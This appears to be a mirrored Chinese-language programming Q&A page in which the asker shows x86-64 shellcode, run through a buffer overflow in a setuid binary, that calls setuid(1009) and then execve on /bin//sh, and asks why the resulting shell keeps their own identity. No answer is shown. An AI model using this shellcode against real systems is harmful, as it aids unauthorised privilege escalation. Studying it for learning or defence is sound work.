首页 > 解决方案 > execve 之前无法在 shellcode 中设置 setuid()

问题描述

我有以下 shellcode,我可以说服 setuid 二进制文件作为缓冲区溢出的结果执行:

push 1009 ; #owner_userid
pop rdi
push 105
pop rax
syscall ; #sys_setuid(1009)

xor rsi, rsi
push rsi
mov rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rdi
push 59
pop rax
cdq
syscall ; #sys_execve('/bin//sh')

这成功地生成了一个 shell,但是当我在其中运行whoami时,我得到了自己的用户名,而不是二进制文件所有者的用户名(用户 ID #1009)。如何/bin/sh使用 setuid 二进制文件所有者的权限启动?

其他详情:

标签: assemblysystem-callsexploitshellcodesetuid

解决方案


推荐阅读